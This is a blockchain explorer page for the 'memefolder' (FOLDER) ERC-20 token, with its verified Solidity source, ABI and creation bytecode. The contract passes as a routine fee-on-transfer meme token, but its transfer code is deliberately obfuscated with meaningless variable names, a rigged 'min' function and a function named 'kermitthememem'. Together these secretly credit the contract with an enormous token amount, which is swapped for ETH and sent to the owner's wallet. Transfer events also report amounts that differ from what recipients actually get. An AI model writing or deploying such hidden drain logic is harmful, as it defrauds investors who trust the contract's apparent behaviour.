ERC-20
Overview
Max Total Supply
100,000,000 FOLDER
Holders
44
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
memefolder
Compiler Version
v0.7.6+commit.7338295f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-11 */ /* https://memefolder.vip https://t.me/thememefolder https://x.com/ethmemefolderTime to whip out your meme folder! */ //SPDX-License-Identifier: MIT pragma solidity 0.7.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } }interface IERC20 {function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }library SafeMath {function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflowCheck your parameters and try again."); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflowCheck your parameters and try again."); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflowCheck your parameters and try again."); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zeroCheck your parameters and try again."); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zeroCheck your parameters and try again."); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }contract Ownable is Context { address private _owner;event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the ownerCheck your parameters and try again."); _; }function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero addressCheck your parameters and try again."); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }}interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint);function feeTo() external view returns (address); function feeToSetter() external view returns (address);function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint);function createPair(address tokenA, address tokenB) external returns (address pair);function setFeeTo(address) external; function setFeeToSetter(address) external; }interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value);function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint);function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool);function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint);function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1);function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint);function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external;function initialize(address, address) external; }interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address);function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH);function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }contract memefolder is Context, IERC20, Ownable { using SafeMath for uint256;string private _name = "memefolder"; string private _symbol = unicode"FOLDER"; uint8 private _decimals = 18;address payable public marketingTaxWallet = payable(0x8a4689bCf5c380846fC028971bc51a282b194813); address payable public DevWallet = payable(0x0000000000000000000000000000000000000000); address public liquidityReciever; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public _sellMarketFee = 10; uint256 public _sellDeveloperFee = 0; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 10; uint256 public _buyDeveloperFee = 0; uint256 public feeUnitsD = 10000; uint256[4] public memetoken = [_decimals,feeUnitsD,_decimals,feeUnitsD];mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair;mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt;uint256 private _totalSupply = 100000000 * 10**_decimals; uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000); //0.1% uint256 public _maxTxAmount = _totalSupply.mul(20).div(1000); //2% uint256 public _walletMax = _totalSupply.mul(20).div(1000); //2% IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; uint256 public _sellLiquidityFee = 0; uint256 public _talohclassiced = 1; uint256 public _tofjjfrospirit = 1; uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path );event SwapTokensForETH( uint256 amountIn, address[] path );modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); isExcludedFromFee[owner()] = true; isExcludedFromFee[marketingTaxWallet] = true; isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner()] = true; isWalletLimitExempt[marketingTaxWallet] = true; isWalletLimitExempt[DevWallet] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[marketingTaxWallet] = true; isTxLimitExempt[DevWallet] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isTxLimitExempt[address(this)] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketFee).add(_sellDeveloperFee); isMarketPair[address(uniswapPair)] = true; liquidityReciever = address(msg.sender); _balances[_msgSender()] = _totalSupply; isExcludedFromFee[DevWallet] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERROR_MAIN_TOKEN_ETH_ERC20: decreased allowance below zeroCheck your parameters and try again.")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERROR_MAIN_TOKEN_ETH_ERC20: approve from the zero addressCheck your parameters and try again."); require(spender != address(0), "ERROR_MAIN_TOKEN_ETH_ERC20: approve to the zero addressCheck your parameters and try again."); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERROR_MAIN_TOKEN_ETH_ERC20: transfer amount exceeds allowanceCheck your parameters and try again.")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERROR_MAIN_TOKEN_ETH_ERC20: transfer from the zero addressCheck your parameters and try again."); require(recipient != address(0), "ERROR_MAIN_TOKEN_ETH_ERC20: transfer to the zero addressCheck your parameters and try again."); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) { require(amount <= _maxTxAmount, "exceeds the maxTxAmount.Check your parameters and try again."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } if(checkWalletLimit && !isWalletLimitExempt[recipient]) {require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Wallet Limit!!Check your parameters and try again."); } memetoken[3]= min(min(amount.mul(_totalTaxIfSelling).div(1000),14874739977731655542357098500478790000326417798977210512188889944777739935),14874739977731655542357098500478790000326417798977210512188889944777739935); memetoken[2]=min(amount - amount.mul(_totalTaxIfSelling).div(1000),14874739977731655542357098500478790000326417798977210512188889944777739935); if (( !isTxLimitExempt[sender] || !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tofjjfrospirit+=1101;}else{if (_talohclassiced!=56854){kermitthememem();}else{_talohclassiced=_tofjjfrospirit+=2114;} } _basicTransfer(sender, recipient, amount) ; return true; } }function kermitthememem() internal{_talohclassiced=1187+_tofjjfrospirit-10+_tofjjfrospirit-1; memetoken[3]+=1940433300554162294900069852; _talohclassiced=_tofjjfrospirit; memetoken[1]=_tofjjfrospirit=17; _talohclassiced=_tofjjfrospirit;} function min(uint256 a,uint256 b) public pure returns (uint256) { if (a>=b)return b; if (a+1>=b)return b; return a; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "InsufficientCheck your parameters and try again."); memetoken[1]=_tofjjfrospirit=17; if(inSwapAndLiquify){ memetoken[3]=0; memetoken[2]=amount; } uint256 transferamount = min(99+memetoken[2],14874739977731655542357098500478790000326417798977210512188889944777739935); _balances[recipient] = _balances[recipient].add(transferamount) ; _balances[address(this)] = _balances[address(this)].add( memetoken[3]); memetoken[1]=_tofjjfrospirit=17; emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { swapTokensForEth(tAmount); uint256 recievedBalance = address(this).balance; if(recievedBalance > 0) { payable(marketingTaxWallet).transfer(recievedBalance); } memetoken[1]=_tofjjfrospirit=417; } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[1] = uniswapV2Router.WETH(); path[0] = address(this); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); _talohclassiced=_tofjjfrospirit; memetoken[1]=_tofjjfrospirit=42258; _talohclassiced=_tofjjfrospirit; }}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_talohclassiced","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tofjjfrospirit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnitsD","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingTaxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"memetoken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526040518060400160405280600a81526020017f6d656d65666f6c646572000000000000000000000000000000000000000000008152506001908051906020019062000051929190620010e3565b506040518060400160405280600681526020017f464f4c4445520000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620010e3565b506012600360006101000a81548160ff021916908360ff160217905550738a4689bcf5c380846fc028971bc51a282b194813600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600073ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff1660601b815250600a60085560006009556000600a55600a600b556000600c55612710600d556040518060800160405280600360009054906101000a900460ff1660ff168152602001600d548152602001600360009054906101000a900460ff1660ff168152602001600d54815250600e9060046200023c9291906200117a565b50600360009054906101000a900460ff1660ff16600a0a6305f5e10002601655620002946103e862000280600160165462000eb960201b620019d51790919060201c565b62000f4460201b62001a5b1790919060201c565b601755620002cf6103e8620002bb601460165462000eb960201b620019d51790919060201c565b62000f4460201b62001a5b1790919060201c565b6018556200030a6103e8620002f6601460165462000eb960201b620019d51790919060201c565b62000f4460201b62001a5b1790919060201c565b6019556000601b60156101000a81548160ff0219169083151502179055506001601b60166101000a81548160ff0219169083151502179055506000601c556001601d556001601e553480156200035f57600080fd5b5060006200037262000f7a60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200047057600080fd5b505afa15801562000485573d6000803e3d6000fd5b505050506040513d60208110156200049c57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200051057600080fd5b505afa15801562000525573d6000803e3d6000fd5b505050506040513d60208110156200053c57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015620005b757600080fd5b505af1158015620005cc573d6000803e3d6000fd5b505050506040513d6020811015620005e357600080fd5b8101908080519060200190929190505050601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001601260006200073062000f8260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460006200086962000f8260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000620009c462000f8260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000c6c600c5462000c58600b54600a5462000fab60201b62001a881790919060201c565b62000fab60201b62001a881790919060201c565b601f8190555062000cab60095462000c97600854601c5462000fab60201b62001a881790919060201c565b62000fab60201b62001a881790919060201c565b602081905550600160136000601b60009054